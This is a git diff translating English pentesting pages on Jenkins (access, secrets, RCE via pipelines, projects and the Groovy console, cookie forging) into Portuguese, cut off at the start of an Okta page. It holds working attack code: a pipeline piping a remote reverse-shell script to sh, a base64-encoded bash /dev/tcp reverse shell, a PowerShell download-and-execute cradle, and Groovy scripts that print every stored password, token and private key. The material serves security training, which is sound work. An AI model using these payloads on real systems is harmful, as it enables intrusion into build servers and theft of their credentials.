--git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..1e0427003 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,87 @@ -# Basic Jenkins Information +# Informações Básicas do Jenkins {{#include ../../banners/hacktricks-training.md}} -## Access +## Acesso -### Username + Password +### Nome de Usuário + Senha -The most common way to login in Jenkins if with a username or a password +A maneira mais comum de fazer login no Jenkins é com um nome de usuário ou uma senha. ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +Se um **cookie autorizado for roubado**, ele pode ser usado para acessar a sessão do usuário. O cookie geralmente é chamado de `JSESSIONID.*`. (Um usuário pode encerrar todas as suas sessões, mas precisaria descobrir primeiro que um cookie foi roubado). ### SSO/Plugins -Jenkins can be configured using plugins to be **accessible via third party SSO**. +O Jenkins pode ser configurado usando plugins para ser **acessível via SSO de terceiros**. ### Tokens -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Os usuários podem gerar tokens** para dar acesso a aplicativos para se passar por eles via CLI ou REST API. -### SSH Keys +### Chaves SSH -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +Este componente fornece um servidor SSH embutido para o Jenkins. É uma interface alternativa para o [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e os comandos podem ser invocados dessa forma usando qualquer cliente SSH. (Das [docs](https://plugins.jenkins.io/sshd/)) -## Authorization +## Autorização -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +Em `/configureSecurity` é possível **configurar o método de autorização do Jenkins**. Existem várias opções: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **Qualquer um pode fazer qualquer coisa**: Até o acesso anônimo pode administrar o servidor. +- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver o **papel "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**. +- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá apenas **acesso de leitura**. +- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/papel.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**. ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Estratégia de Autorização Baseada em Projeto:** Este modo é uma **extensão** da "**segurança baseada em matriz**" que permite que uma matriz ACL adicional seja **definida para cada projeto separadamente.** +- **Estratégia Baseada em Papéis:** Permite definir autorizações usando uma **estratégia baseada em papéis**. Gerencie os papéis em `/role-strategy`. -## **Security Realm** +## **Reino de Segurança** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +Em `/configureSecurity` é possível **configurar o reino de segurança.** Por padrão, o Jenkins inclui suporte para alguns Reinos de Segurança diferentes: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Delegar ao contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/). +- **Banco de dados de usuários do Jenkins:** Use **o próprio armazenamento de dados de usuários embutido do Jenkins** para autenticação em vez de delegar a um sistema externo. Isso é habilitado por padrão. +- **LDAP**: Delegar toda a autenticação a um servidor LDAP configurado, incluindo usuários e grupos. +- **Banco de dados de usuários/grupos Unix**: **Delegar a autenticação ao banco de dados de usuários** do sistema operacional Unix subjacente no controlador Jenkins. Este modo também permitirá a reutilização de grupos Unix para autorização. -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Plugins podem fornecer reinos de segurança adicionais que podem ser úteis para incorporar o Jenkins em sistemas de identidade existentes, como: - [Active Directory](https://plugins.jenkins.io/active-directory) -- [GitHub Authentication](https://plugins.jenkins.io/github-oauth) +- [Autenticação GitHub](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Nós, Agentes e Executores do Jenkins -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +Definições das [docs](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, tempo/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado. -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**Agentes** **gerenciam** a **execução de tarefas** em nome do controlador Jenkins **usando executores**. Um agente pode usar qualquer sistema operacional que suporte Java. Ferramentas necessárias para construções e testes são instaladas no nó onde o agente é executado; elas podem **ser instaladas diretamente ou em um contêiner** (Docker ou Kubernetes). Cada **agente é efetivamente um processo com seu próprio PID** na máquina host. -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +Um **executor** é um **slot para execução de tarefas**; efetivamente, é **uma thread no agente**. O **número de executores** em um nó define o número de **tarefas concorrentes** que podem ser executadas nesse nó ao mesmo tempo. Em outras palavras, isso determina o **número de `stages` de Pipeline concorrentes** que podem ser executados nesse nó ao mesmo tempo. -## Jenkins Secrets +## Segredos do Jenkins -### Encryption of Secrets and Credentials +### Criptografia de Segredos e Credenciais -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`**, o que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: usado para segredos genéricos; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado para alguns tipos de credenciais; +- `jenkins.model.Jenkins.crumbSalt`: usado pelo [mecanismo de proteção CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e -### Credentials Access +### Acesso a Credenciais -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) que podem ser acessados por qualquer projeto configurado, ou podem ser escopadas para **projetos específicos** (`/job//configure`) e, portanto, acessíveis apenas a partir do projeto específico. -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): As credenciais que estão em escopo são disponibilizadas para o pipeline sem limitação. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais. -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**É por isso que, para exfiltrar as credenciais, um atacante precisa, por exemplo, codificá-las em base64.** -## References +## Referências - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..b89ae371e 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +Neste post do blog é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE abusando de uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria: ### Attack Prerequisites -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Feature Requirement:** "Lembre-se de mim" deve estar habilitado (configuração padrão). +- **Access Levels:** O atacante precisa de permissões Gerais/Leitura. +- **Secret Access:** Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave. ### Detailed Exploitation Process @@ -18,92 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi **User Information Retrieval** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- Acesse a configuração do usuário e segredos de `$JENKINS_HOME/users/*.xml` para cada usuário para coletar: +- **Nome de usuário** +- **Semente do usuário** +- **Timestamp** +- **Hash da senha** **Secret Key Extraction** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- Extraia chaves criptográficas usadas para assinar o cookie: +- **Chave Secreta:** `$JENKINS_HOME/secret.key` +- **Chave Mestra:** `$JENKINS_HOME/secrets/master.key` +- **Arquivo da Chave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` #### Step 2: Cookie Forging **Token Preparation** -- **Calculate Token Expiry Time:** +- **Calcular Tempo de Expiração do Token:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adiciona uma hora ao tempo atual +``` -- **Concatenate Data for Token:** +- **Concatenar Dados para o Token:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` **MAC Key Decryption** -- **Decrypt MAC Key File:** +- **Descriptografar o Arquivo da Chave MAC:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // Converter chave mestra para formato de chave AES128 +decrypted = AES.decrypt(macFile, key) // Descriptografar o arquivo .mac +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` **Signature Computation** -- **Compute HMAC SHA256:** +- **Calcular HMAC SHA256:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // Calcular HMAC usando o token e a chave MAC +tokenSignature = bytesToHexString(mac) // Converter o MAC para uma string hexadecimal +``` **Cookie Encoding** -- **Generate Final Cookie:** +- **Gerar Cookie Final:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // Codificar os dados do cookie em Base64 +``` #### Step 3: Code Execution **Session Authentication** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **Buscar Tokens CSRF e de Sessão:** +- Faça uma solicitação para `/crumbIssuer/api/json` para obter `Jenkins-Crumb`. +- Capture `JSESSIONID` da resposta, que será usado em conjunto com o cookie de lembrete. **Command Execution Request** -- **Send a POST Request with Groovy Script:** +- **Enviar uma Solicitação POST com Script Groovy:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- O script Groovy pode ser usado para executar comandos em nível de sistema ou outras operações dentro do ambiente Jenkins. -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +O exemplo de comando curl fornecido demonstra como fazer uma solicitação ao Jenkins com os cabeçalhos e cookies necessários para executar código arbitrário de forma segura. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..5d8625a5c 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> Note que esses scripts apenas listarão os segredos dentro do arquivo `credentials.xml`, mas **arquivos de configuração de build** também podem ter **mais credenciais**. +Você pode **extrair todos os segredos do console de script Groovy** em `/script` executando este código ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### ou este aqui: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..9110b4df6 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,43 +1,37 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Criando/Modificando Pipeline {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## Criando um novo Pipeline -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +Em "Novo Item" (acessível em `/view/all/newJob`) selecione **Pipeline:** ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +Na **seção Pipeline** escreva o **reverse shell**: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +Finalmente clique em **Salvar** e **Construir Agora** e o pipeline será executado: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Modificando um Pipeline -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +Se você puder acessar o arquivo de configuração de algum pipeline configurado, você pode **modificá-lo adicionando seu reverse shell** e então executá-lo ou esperar até que ele seja executado. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..eba27e25d 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,40 +1,36 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Criando/Modificando Projeto {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Criando um Projeto -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +Este método é muito barulhento porque você tem que criar um projeto completamente novo (obviamente isso só funcionará se o usuário tiver permissão para criar um novo projeto). -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **Crie um novo projeto** (projeto Freestyle) clicando em "Novo Item" ou em `/view/all/newJob` +2. Dentro da seção **Build**, defina **Executar shell** e cole um lançador do powershell Empire ou um powershell do meterpreter (pode ser obtido usando _unicorn_). Inicie o payload com _PowerShell.exe_ em vez de usar _powershell._ +3. Clique em **Build now** +1. Se o botão **Build now** não aparecer, você ainda pode ir para **configurar** --> **Gatilhos de Build** --> `Build periodically` e definir um cron de `* * * * *` +2. Em vez de usar cron, você pode usar a configuração "**Trigger builds remotely**" onde você só precisa definir o nome do token da API para acionar o trabalho. Em seguida, vá para o seu perfil de usuário e **gere um token da API** (chame este token da API como você chamou o token da API para acionar o trabalho). Finalmente, acione o trabalho com: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Modificando um Projeto -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +Vá para os projetos e verifique **se você pode configurar algum** deles (procure pelo botão "Configurar"): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +Se você **não puder** ver nenhum **botão de configuração**, então você **não poderá** **configurá-lo** provavelmente (mas verifique todos os projetos, pois você pode ser capaz de configurar alguns deles e não outros). -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +Ou **tente acessar o caminho** `/job//configure` ou `/me/my-views/view/all/job//configure` \_\_ em cada projeto (exemplo: `/job/Project0/configure` ou `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Execução -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +Se você tiver permissão para configurar o projeto, você pode **fazer com que ele execute comandos quando um build for bem-sucedido**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +Clique em **Salvar** e **construa** o projeto e seu **comando será executado**.\ +Se você não estiver executando um shell reverso, mas um comando simples, você pode **ver a saída do comando dentro da saída do build**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..ef5f86ea9 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -1,27 +1,24 @@ -# Jenkins RCE with Groovy Script +# Jenkins RCE com Script Groovy {{#include ../../banners/hacktricks-training.md}} -## Jenkins RCE with Groovy Script +## Jenkins RCE com Script Groovy -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +Isso é menos barulhento do que criar um novo projeto no Jenkins +1. Vá para _path_jenkins/script_ +2. Dentro da caixa de texto, introduza o script ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +Você pode executar um comando usando: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +Em **linux** você pode fazer: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +Se você precisar usar _aspas_ e _aspas simples_ dentro do texto. Você pode usar _"""PAYLOAD"""_ (três aspas duplas) para executar o payload. +**Outro script groovy útil** é (substitua \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Shell reversa no linux ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Reverse shell no Windows -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +Você pode preparar um servidor HTTP com um PS reverse shell e usar o Jeking para baixá-lo e executá-lo: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` - ### Script -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +Você pode automatizar esse processo com [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). +Você pode usar o MSF para obter um shell reverso: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..0a05cf4be 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,103 +4,103 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) é reconhecida no setor de gerenciamento de identidade e acesso por suas soluções de software baseadas em nuvem. Essas soluções são projetadas para simplificar e proteger a autenticação de usuários em várias aplicações modernas. Elas atendem não apenas a empresas que buscam proteger seus dados sensíveis, mas também a desenvolvedores interessados em integrar controles de identidade em aplicações, serviços web e dispositivos. -The flagship offering from Okta is the 